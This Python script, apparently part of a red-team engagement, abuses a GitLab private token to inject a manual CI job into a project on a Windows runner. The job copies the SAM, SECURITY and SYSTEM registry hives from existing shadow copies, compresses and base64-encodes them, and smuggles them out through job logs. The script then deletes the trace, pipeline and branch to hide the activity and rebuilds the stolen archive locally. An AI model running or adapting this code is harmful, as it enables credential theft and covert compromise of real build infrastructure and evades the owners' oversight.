#!/usr/bin/env python3
r"""Check for existing shadow copies and read SAM/SECURITY from them. Staged; --execute.

VSS *creation* is blocked for our runner token (Win32_ShadowCopy.Create rc=5,
SeBackupPrivilege not held). But EXISTING shadow copies (if any, e.g. from
Windows Update or Veeam) may be readable: listing Win32_ShadowCopy is a benign
WMI query, and reading a file under \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\
is a plain file read (SYSTEM can traverse). No shadow is created.

Steps: enumerate existing shadows -> for the newest, attempt read of
Windows\System32\config\{SAM,SECURITY,SYSTEM} via the shadow device path ->
stage + 7z + base64 exfil -> cleanup staging (shadow itself untouched).
Read-only w.r.t. VSS state. Manual CI job on star/backend, deploy tags.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/credx-shadow-read'
STAGE = 'C:\\Windows\\Temp\\credxsh'
ARCHIVE = 'C:\\Windows\\Temp\\credxsh.7z'

PS = [
    # enumerate existing shadow copies (read-only WMI query)
    'Write-Output "=== SHADOW LIST ==="; $sh = Get-WmiObject Win32_ShadowCopy -ErrorAction SilentlyContinue; Write-Output ("count=" + ($sh | Measure-Object).Count); $sh | Select-Object ID,DeviceObject,InstallDate,VolumeName | Format-Table -AutoSize | Out-String -Width 200',
    # attempt read from the newest existing shadow (no creation)
    f'Write-Output "=== SHADOW READ ==="; $dev = (Get-WmiObject Win32_ShadowCopy -ErrorAction SilentlyContinue | Sort-Object InstallDate -Descending | Select-Object -First 1).DeviceObject; Write-Output ("using=" + $dev); if ($dev) {{ New-Item -ItemType Directory -Path "{STAGE}" -Force -ErrorAction SilentlyContinue | Out-Null; foreach ($h in @("SAM","SECURITY","SYSTEM")) {{ $src = $dev + "\\Windows\\System32\\config\\" + $h; try {{ Copy-Item $src ("{STAGE}\\" + $h) -Force -ErrorAction Stop; Write-Output ("COPIED " + $h) }} catch {{ Write-Output ("FAIL " + $h + " : " + $_.Exception.Message) }} }}; Get-ChildItem "{STAGE}" -ErrorAction SilentlyContinue | Select-Object Name,Length | Format-Table -AutoSize }} else {{ Write-Output "NO_EXISTING_SHADOW" }}',
    # compress
    f'Write-Output "=== COMPRESS ==="; $7z = "C:\\Program Files\\7-Zip\\7z.exe"; if ((Get-ChildItem "{STAGE}" -ErrorAction SilentlyContinue).Count -gt 0) {{ & $7z a -t7z "{ARCHIVE}" "{STAGE}\\*" -mx=5 | Out-Null; Write-Output ("archive=" + (Get-Item "{ARCHIVE}").Length + " bytes") }} else {{ Write-Output "archive=EMPTY" }}',
    # exfil
    f'Write-Output "=== EXFIL ==="; if (Test-Path "{ARCHIVE}") {{ $b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("{ARCHIVE}")); Write-Output ("B64LEN=" + $b64.Length); $chunk=60000; for ($i=0; $i -lt $b64.Length; $i+=$chunk) {{ $len=[Math]::Min($chunk, $b64.Length-$i); Write-Output ("B64CHUNK|" + $i + "|" + $b64.Substring($i,$len)) }}; Write-Output "B64END" }}',
    # cleanup staging only (shadow NOT touched)
    f'Write-Output "=== CLEANUP ==="; Remove-Item "{STAGE}" -Recurse -Force -ErrorAction SilentlyContinue; Remove-Item "{ARCHIVE}" -Force -ErrorAction SilentlyContinue; Write-Output ("stage_left=" + (Test-Path "{STAGE}"))',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'PRIVATE-TOKEN': tok}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    script_lines = '\n'.join(f'      {l}' for l in PS)
    return orig.rstrip() + f'''
credx_shadow_read:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    if st == 401:
        raise SystemExit('token expired — refresh .token and rerun')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add credx shadow read',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'credx_shadow_read':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(120):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'credx_shadow_trace.txt').write_text(trace)
    (D / 'credx_shadow_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    import base64, re
    chunks = re.findall(r'B64CHUNK\|(\d+)\|([A-Za-z0-9+/=]+)', trace)
    if chunks:
        chunks.sort(key=lambda x: int(x[0]))
        data = base64.b64decode(''.join(c[1] for c in chunks))
        out = D / 'credx_shadow_loot.7z'
        out.write_bytes(data)
        print(f'REASSEMBLED {len(data)} bytes -> {out}')
    print('\n===== TRACE (head) =====')
    print(trace[:3000])

if __name__ == '__main__':
    main()